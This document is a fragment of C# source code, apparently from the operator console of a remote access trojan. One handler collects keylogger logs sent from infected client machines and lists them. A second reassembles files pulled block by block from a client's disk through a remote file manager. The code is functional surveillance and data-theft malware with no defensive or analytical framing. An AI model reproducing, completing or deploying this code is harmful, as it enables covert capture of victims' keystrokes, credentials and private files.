public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet) { if (client.Value == null || client.Value.FrmKl == null) return; if (packet.FileCount == 0) { client.Value.FrmKl.SetGetLogsEnabled(true); return; } if (string.IsNullOrEmpty(packet.Filename)) return; string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); if (iFiles.Length == 0) return; foreach (FileInfo file in iFiles) { if (client.Value == null || client.Value.FrmKl == null) break; client.Value.FrmKl.AddLogToListview(file.Name); } if (client.Value == null || client.Value.FrmKl == null) return; client.Value.FrmKl.SetGetLogsEnabled(true); } }
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet) { if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename)) return; if (!Directory.Exists(client.Value.DownloadDirectory)) Directory.CreateDirectory(client.Value.DownloadDirectory); string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename); if (packet.CurrentBlock == 0 && File.Exists(downloadPath)) { for (int i = 1; i < 100; i++) { var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName))) continue; downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName); RenamedFiles.Add(packet.ID, newFileName); break; } } else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID)) { downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]); } if (client.Value == null || client.Value.FrmFm == null) { FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open."); new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client); return; } int index = client.Value.FrmFm.GetTransferIndex(packet.ID); if (index < 0) return; if (!string.IsNullOrEmpty(packet.CustomMessage)) { if (client.Value.FrmFm == null) // abort download when form is closed return; client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0); return; } FileSplit destFile = new FileSplit(downloadPath); if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) { if (client.Value == null || client.Value.FrmFm == null) return; client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0); return; } decimal progress = Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2); if (client.Value == null || client.Value.FrmFm == null) return; if (CanceledDownloads.ContainsKey(packet.ID)) return; client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1); if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { if (client.Value.FrmFm == null) return; RenamedFiles.Remove(packet.ID); client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1); } }